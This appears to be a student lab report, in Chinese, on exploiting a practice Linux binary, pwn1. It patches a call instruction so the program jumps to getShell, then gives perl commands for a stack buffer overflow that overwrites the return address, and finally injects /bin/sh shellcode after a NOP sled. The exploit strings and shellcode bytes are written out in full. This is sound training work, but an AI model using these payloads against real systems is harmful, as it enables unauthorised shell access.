20165219 Exp1 PC平台逆向破解
实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
基础知识
一 直接修改程序机器指令,改变程序执行流程
思路:pwn1_1中main()调用foo(),此实验旨在修改程序机器指令,使得main()调用getshell()
反汇编: objdump -d
main()中call指令指向foo()的内存地址0x08048491
,对应的机器指令为ffffffd7。现在想把call指令指向getshell()的内存地址0x0804847d,就要修改相应的机器指令。经过计算相应的机器指令为ffffffc3。
输入:
%!xxd
,将显示模式切换为16进制模式
/d7
查找要修改的内容 ,按i进入插入模式,修改d7之后,exc退出插入模式
:%!xxd -r
转换16进制为原格式
:wq
保存并退出
运行修改后的代码,发现权限不够,上网搜了一下,如下图解决办法
二 通过构造输入参数,造成BOF攻击,改变程序执行流
首先反汇编了解程序功能
# gdb
输入为字符时已经发生段错误,产生溢出:
使用gdb进行调试:
注意到eip的值为ASCII的5,即在输入字符串的“5”的部分发生溢出。将5改成其它
输入字符串1111111122222222333333334444444455555555,5555会覆盖到堆栈上的返回地址,CPU会这个代码。只要把这四个字符替换为 getShell 的内存地址,输给pwn20165219_2,pwn1运行getShell。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
命令构造文件。然后使用指令
(cat input ) | ./pwn20165219_2
运行程序
三 注入Shellcode并执行
使用
apt-get install execstack
命令安装execstack
修改以下设置
我们选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为\x4\x3\x2\x1)
perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
注入这段攻击buf,在另一个终端查看pwn1这个进程
gdb调试
通过设置断点,来查看注入buf的内存地址
使用break设置断点,并输入c继续运行。在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用
info r esp
查找地址。
使用x/16x 查看其存放内容,看到了01020304,就是返回地址的位置。
将之前的\x4\x3\x2\x1改为这个地址
最后执行攻击程序